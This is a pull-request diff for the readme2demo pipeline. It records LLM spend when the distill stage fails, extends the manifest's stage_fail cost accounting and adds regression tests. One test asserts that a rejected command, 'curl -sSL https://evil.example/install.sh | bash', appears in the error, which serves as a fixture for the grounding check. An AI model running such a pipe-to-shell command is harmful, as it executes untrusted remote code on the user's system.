Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
14 changes: 12 additions & 2 deletions src/readme2demo/distill.py
Original file line number Diff line number Diff line change
Expand Up @@ -66,7 +66,16 @@ def heredoc_prefix(cmd: str) -> Optional[str]:


class DistillError(RuntimeError):
"""Raised when the distiller cannot produce a fully grounded output."""
"""Raised when the distiller cannot produce a fully grounded output.

Carries ``cost_usd`` so spend already incurred before the failure is not
lost: the grounding retry means this error can arrive *after* two paid
LLM calls, and the orchestrator records it against the failed stage.
"""

def __init__(self, *args, cost_usd: float = 0.0) -> None:
super().__init__(*args)
self.cost_usd = cost_usd


# -- grounding ----------------------------------------------------------------
Expand Down Expand Up @@ -332,7 +341,8 @@ def run_distiller(
if violations:
raise DistillError(
"Distiller produced ungrounded commands after retry: "
+ "; ".join(repr(v) for v in violations)
+ "; ".join(repr(v) for v in violations),
cost_usd=total_cost,
)
return out, total_cost

Expand Down
13 changes: 12 additions & 1 deletion src/readme2demo/manifest.py
Original file line number Diff line number Diff line change
Expand Up @@ -108,12 +108,23 @@ def stage_complete(self, name: str, cost_usd: float = 0.0, **meta) -> None:
)
self.save()

def stage_fail(self, name: str, error: str, **meta) -> None:
def stage_fail(self, name: str, error: str, cost_usd: float = 0.0, **meta) -> None:
"""Mark a stage failed, accounting any spend it incurred before failing.

Mirrors :meth:`stage_complete`'s cost handling: a stage that pays for
LLM calls and *then* raises still spent that money, and the run's
total must say so. Callers pass what they know; the default of 0.0
keeps failures with no recoverable cost unchanged.
"""
rec = self.stages[name]
rec.status = "failed"
rec.finished_at = utcnow()
rec.error = error
rec.cost_usd += cost_usd
rec.meta.update(meta)
self.total_cost_usd = round(
sum(r.cost_usd for r in self.stages.values()), 6
)
self.save()

def stage_skip(self, name: str, reason: str = "") -> None:
Expand Down
12 changes: 10 additions & 2 deletions src/readme2demo/orchestrator.py
Original file line number Diff line number Diff line change
Expand Up @@ -331,10 +331,18 @@ def run(self) -> Manifest:
try:
handlers[stage]()
except PipelineError as e:
self.manifest.stage_fail(stage, str(e))
# Spend already incurred before the raise (e.g. the distiller's
# paid grounding retry) rides on the exception — see #103.
self.manifest.stage_fail(
stage, str(e), cost_usd=getattr(e, "cost_usd", 0.0)
)
raise
except Exception as e: # noqa: BLE001 — record, then re-raise
self.manifest.stage_fail(stage, f"{type(e).__name__}: {e}")
self.manifest.stage_fail(
stage,
f"{type(e).__name__}: {e}",
cost_usd=getattr(e, "cost_usd", 0.0),
)
raise

# --dry-run: the feasibility verdict and blockers are known once
Expand Down
3 changes: 3 additions & 0 deletions tests/test_distill.py
Original file line number Diff line number Diff line change
Expand Up @@ -415,6 +415,9 @@ def fake_complete_json(system, user, model, schema, **kwargs):

assert len(calls) == 2 # one retry, no more
assert "curl -sSL https://evil.example/install.sh | bash" in str(excinfo.value)
# Regression (#103): both paid calls ride on the exception, so the
# orchestrator can bill them to the failed stage instead of losing them.
assert excinfo.value.cost_usd == pytest.approx(0.02)


def test_run_distiller_validates_tape_commands(monkeypatch) -> None:
Expand Down
66 changes: 66 additions & 0 deletions tests/test_orchestrator.py
Original file line number Diff line number Diff line change
Expand Up @@ -39,6 +39,36 @@ def test_manifest_roundtrip(tmp_path: Path):
assert loaded.next_stage() == "agent"


def test_regression_stage_fail_records_cost_and_updates_total(tmp_path: Path):
"""Regression (#103): a stage that pays and then fails must not report $0.00.

The distiller can raise after two paid LLM calls (its grounding retry), so
stage_fail accounts spend the same way stage_complete does.
"""
m = Manifest.create(tmp_path / "rf", "https://github.com/x/y", "claude-code", "img")
m.stage_start("ingest")
m.stage_complete("ingest", cost_usd=0.01)
m.stage_start("distill")
m.stage_fail("distill", "Distiller produced ungrounded commands", cost_usd=0.04)

loaded = Manifest.load(tmp_path / "rf")
assert loaded.stages["distill"].status == "failed"
assert loaded.stages["distill"].cost_usd == pytest.approx(0.04)
assert loaded.total_cost_usd == pytest.approx(0.05)


def test_stage_fail_without_cost_leaves_total_unchanged(tmp_path: Path):
"""A failure with no recoverable spend must not perturb the total (#103)."""
m = Manifest.create(tmp_path / "rg", "https://github.com/x/y", "claude-code", "img")
m.stage_start("ingest")
m.stage_complete("ingest", cost_usd=0.02)
m.stage_start("agent")
m.stage_fail("agent", "engine exited 127")

assert m.stages["agent"].cost_usd == 0.0
assert m.total_cost_usd == pytest.approx(0.02)


def test_manifest_next_stage_order(tmp_path: Path):
m = Manifest.create(tmp_path / "r2", "https://github.com/x/y", "claude-code", "img")
for s in STAGES:
Expand Down Expand Up @@ -139,6 +169,42 @@ def test_resume_skips_completed_stages(tmp_path: Path, monkeypatch):
assert result.next_stage() is None


def test_regression_failed_distill_bills_its_llm_spend(tmp_path: Path, monkeypatch):
"""Regression (#103): a DistillError after paid calls lands on the manifest.

The distiller's grounding retry means failure can arrive after two LLM
calls. Before this fix the orchestrator called stage_fail without a cost,
so the run that most needs a spend figure reported $0.00.
"""
from readme2demo import distill as distill_mod
from readme2demo.distill import DistillError
from readme2demo.types import AgentResult, CommandLog

cfg = Config(runs_dir=tmp_path)
orch = Orchestrator.new_run("https://github.com/x/y", cfg)
(orch.run_dir / "plan.json").write_text(make_plan().model_dump_json())
(orch.run_dir / "command_log.json").write_text(
CommandLog(
engine="claude-code", result=AgentResult(outcome="success")
).model_dump_json()
)
for s in ("ingest", "agent", "normalize"):
orch.manifest.stage_start(s)
orch.manifest.stage_complete(s, cost_usd=0.01)

def boom(*args, **kwargs):
raise DistillError("ungrounded after retry", cost_usd=0.06)

monkeypatch.setattr(distill_mod, "distill", boom)
with pytest.raises(DistillError):
orch.run()

loaded = Manifest.load(orch.run_dir)
assert loaded.stages["distill"].status == "failed"
assert loaded.stages["distill"].cost_usd == pytest.approx(0.06)
assert loaded.total_cost_usd == pytest.approx(0.09) # 3 x 0.01 + 0.06


def test_new_run_guide_only_uses_guide_stem_and_empty_repo(tmp_path: Path):
"""Repo made optional: new_run(None) with a -s guide yields an empty
manifest.repo_url and a run-id slugged from the guide's filename."""
Expand Down